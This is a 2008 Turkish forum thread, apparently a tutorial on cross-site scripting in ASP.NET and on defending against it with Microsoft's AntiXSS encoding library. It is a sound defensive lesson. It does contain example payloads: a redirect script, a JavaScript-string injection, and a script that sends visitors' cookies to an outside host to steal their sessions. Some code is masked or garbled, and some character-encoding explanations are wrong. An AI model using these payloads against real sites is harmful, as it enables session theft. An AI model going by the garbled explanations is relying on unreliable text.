Ceviz Forum

Geri Dön   Ceviz Forum > Programlama > ASP.NET / Silverlight / Moonlight

Cevapla
 
LinkBack Seçenekler
Eski 22/03/2008, 03:21   #1 (permalink)
from Chaos Theory
 
haluk_tr Adlı Üyenin Profil Grafiği
 
Üyelik Tarihi: 04/2007
Mesaj: 115
Varsayılan ASP.NET [C#] ile XSS



Kullanıcıdan alınan bilgi olduğu gibi veritabanına kaydediliyorsa ve aynı şekilde veritabanındanda istemciye gönderiliyorsa kötü niyetli kodların istemci tarafından çalıştırılması muhtemeldir.
Örneğin bir ziyaretçi defteri doldururken mesaj kısmına
<script> ********.href= ‘http://www.google.com’;</script>

Gibi bir bilgi girilirse ve herhangi bir kontrol olmadan bu siteyi ziyaret eden kullanıcılara bu bilgi gönderilirse, ziyaretçiler karşılarında sizin sitenizi değil, Google’ı göreceklerdir.
Ziyaretçilerin tarayıcılarında çalıştırılan bir javascript kodu ziyaretçiniz hakkındaki Session bilgilerinin de çalınmasına sebep olabilir.

<script>
document.********=’http://www.xyz.com/document.cookie
</script>


Şeklinde girilen bir script sitenizi ziyaret eden her kullanıcının Session bilgilerini saldırganın sitesine gönderir. Bundan sonrası saldırganın tercihne kalmış. Session bilgilerini kendine mail atabilir yada kendi veritabanına kaydebilir.
ASP.NET programcıları bu konuda diğer web geliştiricilerinden biraz daha şanslı. Çünkü, “<” ve “>” karakterleri içinde gelen bilgi “Potansiyel Tehlikeli Bilgi” olarak algılanır ve sistem hata verir.
Ancak günümüz de sık geliştirilen “İçerik Yönetim Sistem” leri “FCK Editor” gibi html kodu üreten WYSWYG* editörleri kullanmakta.
Bu da ASP.NET programcısının “Fck Editor” kullandığı sayfasının başına ValidateRequest="false" gibi bir kodu eklemesine sebep veriyor. Bu da XSS saldırıları için bir davet anlamına gelir.
Buraya kadar verdiğimiz örnekler HTML kodları arasına sızan tekniklerdi.
Kullanıcıdan alınan bilgi ile oluşturulabilecek JavaScript, VBScript, XML de bu tehlikelere maruz kalabilir.
Javascript için basit bir örnek verelim.
Default.aspx dosyamızda bulunan Javascript :
<script type="text/javascript" >
alert(’Merhaba’ + ‘<asp:Literal runat="server" id="ltAd" />’);
</script>

Default.aspx.cs dosyasından gönderilen bilgi :
ltAd.Text = "Haluk";

Sayfa çalıştırıldığında “Merhaba Selçuk” şeklinde bir MessageBox çıkıyor.
“TeSTeRe” değerinin veritabanından geldiğini farzedelim. Eğer veritabanından gelen şöyle bir şey olursa :
ltAd.Text = " ’ ********.href= "http://www.google.com’; alert(’a";

Sayfamız derlendiğinde ortaya çıkan Javascript kodunu inceleyelim :
<script type="text/javascript" >
alert(’Merhaba ’); ********.href=http://www.google.com’; alert(’a’);
</script>



Ziyaretçi “Merhaba” şeklinde bir MessageBox görür ve kendini yine Google da bulur.
Bu konuda örnekler çoğaltılabilir. Biz şimdi alacağımız önlemlere geçelim.

Bunun için ;
“Microsoft Anti-Cross Site Scripting Library” kütüphanesini kullanacağız.

http://www.microsoft.com/downloads/details.aspx?FamilyId=EFB9C819-53FF-4F82-BFAF-E11625130C25&displaylang=en adresinden temin edebileceğiniz AntiXSSLibrary.dll i projemize dahil ediyoruz.
Microsoft.Application.Security.AntiXSS namespace’inden ulaşabileceğimiz 7 adet static metot ile XSS saldırıların önüne geçebiliriz.
Bu metotlar :
HtmlEncode
HtmlAttributeEncode
JavaScriptEncode
UrlEncode
VisualBasicScriptEncode
XmlEncode
XmlAttributeEncode

Yukarıda verdiğimiz örneklerden Javascript için
ltAd.Text = "’); ********.href= "http://www.google.com’; alert(’a");

yerine
using Microsoft.Security.Application.AntiXss;

...

ltAd.Text =
JavaScriptEncode("’); ********.href= "http://www.google.com’; alert(’a");


Şeklinde kullandığımızda bir ziyaretçilerimiz bir zarar görmeyecektir.
Sayfamızı derledikten sonra oluşan Javascript kodumuzu inceleyelim :
<script type="text/javascript" >
alert(
’Merhaba ’\\\\\\\\x27\\\\\\\\x29\\\\\\\\x3b
********.href\\\\\\\\x3d\\\\\\\\x27http\\\\\\\\x3a \\\\\\\\x2f\\\\\\\\x2fwww.google.com\\\\\\\\x27\\\ \\\\\x3b
alert\\\\\\\\x28\\\\\\\\x27a’
);
</script>


Görüldüğü gibi “)“ işareti \\\\\\\\x27 ye , “;” işareti \\\\\\\\x29 a ve diğer zararlı karakterlerde Javascript’in karşılıklarına çevrilmiş. Bu kodlar çalıştırılamaz ama aynı karaktersel değerleini korurlar.
Örneğin
ltAd.Text = Microsoft.Security.Application.AntiXss.JavaScriptE ncode("Selçuk");

Şeklinde bir kullanımda ekranda “Haluk” yazar ancak kaynak kodunda “ç” karakteri \\\\\\\\u00e7 olarak kodlanmıştır.
Bunun sebebi ise AntiXSS kütüphanesinin belli başlı karakterleri encode eder. Bunlar büyüktür “<” , küçüktür “>” , ampersand “&” , çift tırnak “"” ve ascii değeri 160-255 arası olan karakterlerdir.
“ç” harfi ascii tablosunda bulunmuyor ancak unicode değer olan 351’in Hexadecimal eşiti 00e7 dir. Dolayısıyla Javascript’tin ç harfini \\\\\\\\u00e7 olarak tanır.
__________________
[ a Dark shadow From Blackgness ]

using System;
using System.PersonalPage;

namespace OpenSource
{
public class com
{
{ http://haluk.qsh.es : }
}
}
haluk_tr hatta değil   Alıntı Yaparak Yanıtla
Eski 22/03/2008, 03:36   #2 (permalink)
from Chaos Theory
 
haluk_tr Adlı Üyenin Profil Grafiği
 
Üyelik Tarihi: 04/2007
Mesaj: 115
Varsayılan

Geliştirdiğiniz projeleri güvenlik amaçlı geliştirmenizi içtenlikle rica ediyorum paylaştığım Proje tamamen kullanılan tekniği gösterme amaçlıdır..

ASP.NET [C#] Geliştiricleri için XSS ten korunma kod sistemini hazırlıyorum Sitem'de yayınladıktan hemen sonra ceviz.net te inş
__________________
[ a Dark shadow From Blackgness ]

using System;
using System.PersonalPage;

namespace OpenSource
{
public class com
{
{ http://haluk.qsh.es : }
}
}
haluk_tr hatta değil   Alıntı Yaparak Yanıtla
Cevapla

Bookmarks

Seçenekler

Mesaj Yazma Hakları
Yeni mesajgöndermezsiniz
Cevap yazamazsınız
Dosya ekleyemezsiniz
Mesajınızı düzenleyemezsiniz

BB code is Açık
[IMG] kodu Açık
HTML kodu Kapalı
Trackbacks are Açık
Pingbacks are Açık
Refbacks are Açık


Forum saati Türkiye saatine göredir. GMT +3. Şu anda saat 19:39.

Reklamlar & Desteklenenler
Hassas Valf | Hassas Kaplama | Antalyamız | Gazete | Ticari Bilişim | Hakan Müştak | Rüya Tabirleri | Kadın | Hastalıklar | Cepte msn ve e-posta | Webmaster | Antalya Aupair | Turkish Property Antalya | Forum | Chat | Perde | Adsl | Araba | bolindir.com | guncelle.com | livescore | Web Tasarım | evden eve nakliyat | forum | evden eve | sohbet | Resimcim| Kalifiye İnsan Kaynakları | Web Tasarım | Oyun | Yusuf KOÇ | Akın Yorulmaz | şiir | UFO | Web Tasarım | Oyunlar | Canlı Tv |


Forum Yazılımı: vBulletin Copyright ©2000 - 2008, Jelsoft Enterprises Ltd.
Search Engine Friendly URLs by vBSEO 3.2.0
Copyright ©2001 - 2008, Ceviz.net